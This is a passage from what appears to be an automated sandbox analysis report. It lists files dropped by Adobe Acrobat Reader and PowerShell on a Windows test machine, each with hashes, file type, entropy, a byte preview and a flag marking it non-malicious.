SHA1:	F447DFD07901BF62CDDC7C0DCDEF54D2979D79CB
SHA-256:	AEAF4B465741EB5607E10E5279D9C2EA47BC7DED8F4C4978889ECED452D727E4
SHA-512:	5568099CE3F6FB3EAA0F049B9B2BDF0C6792FC1E4BD4C5C1F2E93BD82C39779C063B8CC85E3E630426FA2DF0EC2AACD5A0BCACAB45A667C2E1F0DF6AF16E77BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.300174409066962
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfbPtdPeUkwRe9:YvXKXwBpWOEZc0vtnGDV8Ukee9
MD5:	69F55CDCCEAC349B34387745AC2F431F
SHA1:	2CB3223ABDA9889F102EE44B12DC94F2674FE00A
SHA-256:	D758EC54C016C0BFEE75C7CB708733A4C270EC6861C6307B54CC27401376F571
SHA-512:	5881D2CB14A107F5A8C3D22880427D22F90D2A4BE1300D5FB968AEE93C22E8503CAB9FF2B8600BAF45FC91E42D9D7F8DF109223720D1A749F72F83D42CF0F2BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.305897569322126
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJf21rPeUkwRe9:YvXKXwBpWOEZc0vtnG+16Ukee9
MD5:	5A1363ABB9F5309BB53D5F1BF54BF8E3
SHA1:	1F680E5E5810ABF7298912540E3F5933781BB6D9
SHA-256:	5DBD4F8890E3AB3A273C565A0B473F41F7835E862B94E7A7D124C1A14C253153
SHA-512:	78A8D0FB571FB074FBF467BC26F3C56296DCDAF71C3D2FF24D932ACD6DA28D65C013B804C37745A604CE2AF9BD6FE46B3AE05BC32BC3018FC1BCD6453AE3FACF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665457831492479
Encrypted:	false
SSDEEP:	24:Yv6XwnWlzvtYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSWn:YvhWJIBgkDMUJUAh8cvMW
MD5:	C3F278155286B44ADEE7CE14019DD90B
SHA1:	BDE8BC18A54C2D1B83C57EFAC7A2C4E342048CD9
SHA-256:	F861BD51602C939563D84C65D7B751CB6BC6D72F57C8FA03E87C0DBB5CECF726
SHA-512:	7353814E6ACABAD8EC01FF23E576B7436F94ED5383E53FF9E04DE09E9C82A5C515BDB61FC2C346954F7D5A86142244DC0EBB84133BD1C645B1CF6AE7692F9DA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278577749230654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfshHHrPeUkwRe9:YvXKXwBpWOEZc0vtnGUUUkee9
MD5:	FD7E09A7D04F97727392BBD410FDB250
SHA1:	EA23ED83B55CB37EA7FB2B9C42ADD3AE5E1A7150
SHA-256:	661A58373C662E7C8BB898ABC9C28AF5222DA56B39CF727AF73D5A89AE3EE7DA
SHA-512:	2BB3123523041F2BBD6FC129B3C793A889B048CEAF4309B7125AA9A27F9EDEB7385AEDA421C00EA57599A3E8C52075722000253428CC368D1A8F7547F37FEBF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.294523733680033
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJTqgFCrPeUkwRe9:YvXKXwBpWOEZc0vtnGTq16Ukee9
MD5:	A0030AA15E89B1BCA857C6ABA8C2AE24
SHA1:	598F29E4FB79316B43936C2B74B8F8FC950764AB
SHA-256:	A09E018125044A4D9C6146929F6872842D5C9AA90ACA2A63D1B2BCA5466D8A17
SHA-512:	F56B36AB741958AE1A3FD78A312D0C823BBE6ABB1C91AF5B5175390F32A805E6DD01F4CC69192DA5A5CD0CFE2E79D87E510D084F4A8D07182ECAA635421CDAA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145265954488979
Encrypted:	false
SSDEEP:	24:Y0w1/l+adAaymzH9Cgx3PHk6FSjWm5sj0Sezm2gx2LSwCD4K5/5t5Yr9iqukOG:YLZLVxf5WWI+PHW65/329iY
MD5:	8FAC0485DB4388A4E7E1881EADC3482B
SHA1:	3CB4B8D471C9A2F647CFA0FE9ADC07DD3AB86A39
SHA-256:	86D2CE62F518A2CF2F821A3F83494BC977AACFD90AC9F41BE4C0837B02407A4F
SHA-512:	C798C8EB689328D7A10457910CB29E7987D6C3A194B8AF62E3895403454F10BC85234FDC13B645DC91DD50FFBA6992DD6F80D735C026D4D6236F5CECFF551619
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2c3e144447f186ca11665caa9e869994","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583617000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"90f3bbfc13d14d195ac33ce77f352f24","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583617000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"994a09a47c60fc28f9a59d842430ecb3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583617000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c83f1c1be1ecd9e64f7f9b31de2d9dac","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583617000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9497874c5262e951c7b05541c792c370","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583617000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4948f9fe22309d43c189facf8f0462b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886154487064535
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUXIsSvR9H9vxFGiDIAEkGVvpDIS:lNVmswUUUUUUUUYs+FGSItYS
MD5:	B6B277B168021C2160BB1E6DEB809E2B
SHA1:	61A6EA31B3843BCDDB8264D0C695518CFBBDD01B
SHA-256:	596FC727383F7582999BF38C88A64E51AF397385353DAF4272AC4A8AA44BB32D
SHA-512:	40C2F37F195B203C11281B5FC6858EE4071F5A009E025D1B059DCC48E910E4222B674DAB394BD0D95D4E7DC360DE4AE3CE5432BBD333F1991060746E04B84220
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6072286998110772
Encrypted:	false
SSDEEP:	48:7MEKUUUUUUUUUUXI+vR9H9vxFGiDIAEkGVvU7qFl2GL7msB:7UUUUUUUUUUUYCFGSItuKVmsB
MD5:	43244DF1474441FAD82C76519EC5A450
SHA1:	4A787D4502E271721837E0DCCE59074F0CE3A30F
SHA-256:	9795F5B7BD848A62A8B8D11B64186F8FAC9032270665E8F92AB7EB0972300A9A
SHA-512:	DBC319736451EE8F0E6C31EE7A6C93CF9C648020B529BA5ADFB22982FF62706854AD9AD7A3D988204224670A9AA9DF921FF4ED15D1EBF4746253974F6AB63DF0
Malicious:	false
Preview:	.... .c......pO.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkQRP9IUxk0jaYaHA4YaTxXKIsYyu:6a6TZ44ADEk2P9IUxk0SVXpsK
MD5:	63F9000BD1E46E5C3858503F622BB09A
SHA1:	6E02E6895B407815D4DE99AC96DD6D6B89F60AA3
SHA-256:	2F665ADADA9CE2E61C3558D480691AE25B1D71CCE2B2408B2CAD1C6CEB2AE628
SHA-512:	EA79FD2721F2066BEF59A5B00DF31B5DF7F645AA2448E30AED7AA6521BFF0AFD41165ECB87A7DDB5DB60D66B9E571C9310D468C7C7642D6E16087E8D71C369ED
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI4796d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+ow:Qw946cPbiOxDlbYnuRKdhow
MD5:	EDF3A930B6967721ACCB00EF444F8455
SHA1:	E66AD7E260DCD7E3A48930BBCCFE753166798E4A
SHA-256:	B310DB50B2086F43EDD02B463800D0941560BA0E8F05BC9EC92A22505B87C0DF
SHA-512:	26E109C499CF6886D5E22534C2383488D85BCB63394567794651EB92D98BFBB54188D507D4D755309E5DD1EFEF28B153003D7FCA5EF586E2EA3AFEDAF8714C0A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.2.0.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fp4qsefv.eur.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npn1zvfi.0r3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91fzgcky_w1rrec_4vs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-20-13-873.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357631769580557
Encrypted:	false
SSDEEP:	384:fo8t8/KA4Wdly3UsmU568trGGROYJvfx8n2wqCQFto0sBm8ll2JUP0P+bGkaUTL4:+MZ
MD5:	F1366C1B85CDEF95770CB9BC44374479
SHA1:	01891EF88C166F2A795EF2628DB497A896E98310
SHA-256:	D561D5A56CDB330F28636FA1C3BF753FBF1A643EDD9A827FCF14F01A25339E84
SHA-512:	1BF8B0E80EAB16334F1E58E59EE8BEBA0CA8B154A5C806CF1C83A901A195EF28A69B5693F76862B52C530758780C6191438A41AD6B2B8CE3157B91F3FD10636D
Malicious:	false
Preview:	SessionID=ad86bf39-023c-40ef-9595-034fb0951700.1736583613886 Timestamp=2025-01-11T03:20:13:886-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ad86bf39-023c-40ef-9595-034fb0951700.1736583613886 Timestamp=2025-01-11T03:20:13:887-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ad86bf39-023c-40ef-9595-034fb0951700.1736583613886 Timestamp=2025-01-11T03:20:13:887-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ad86bf39-023c-40ef-9595-034fb0951700.1736583613886 Timestamp=2025-01-11T03:20:13:887-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ad86bf39-023c-40ef-9595-034fb0951700.1736583613886 Timestamp=2025-01-11T03:20:13:887-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383158099996861
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r2:S
MD5:	D5CBFFC60131BD7389268FD575A6ADFF
SHA1:	BD67280BAFC84D019878E633303B634D709F7DBA
SHA-256:	D90289ECCB007BB27EA5BD5C58777D21C05C743AA489B8B9B8996D0B8C73B500
SHA-512:	0A649E9DC2FDBA20DA354B38C153946265F567F8B140672F866422BEFB9958F6E3346EA4F021F83EBFC41BD03193AF7779827D362F7CF0D774D5665372354DE7
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\33bd7cce-2135-4b5e-9dac-75dfaca01350.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\48416cff-23e7-46f9-b21d-a36865a8288a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
